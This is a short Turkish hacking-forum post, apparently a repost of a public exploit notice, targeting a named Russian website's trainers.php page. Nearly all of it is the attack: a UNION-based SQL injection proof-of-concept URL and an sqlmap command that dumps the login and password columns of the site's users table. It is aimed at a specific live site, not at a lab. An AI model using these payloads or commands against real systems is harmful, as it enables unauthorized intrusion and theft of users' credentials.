Hoşgeldin Misafir

Akrobat SQL Inj.

./K3m4l1ST

22 Ocak 2019
580 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
Date:15.05.2019
-----------------------------------------------------------------------------

Exploit Author:Cerkuday

-----------------------------------------------------------------------------

[*] Tested on: Windows 10 / Kali Linux

[*] Demo:

http://www.acrobat-tlt.ru/trainers.php?id=3

Poc 

http://www.acrobat-tlt.ru/trainers.php?id=-6209‘ UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7176767671,0x7353694e4867516746665161515a616f784d704b67676267566b68557550517462424c4569686566,0x7171787071),NULL-- RnQo

sqlmap.py -u "http://www.acrobat-tlt.ru/trainers.php?id=3" --random-agent -D acrobattlt -T users -C login,password --dump

https://cxsecurity.com/issue/WLB-2019050165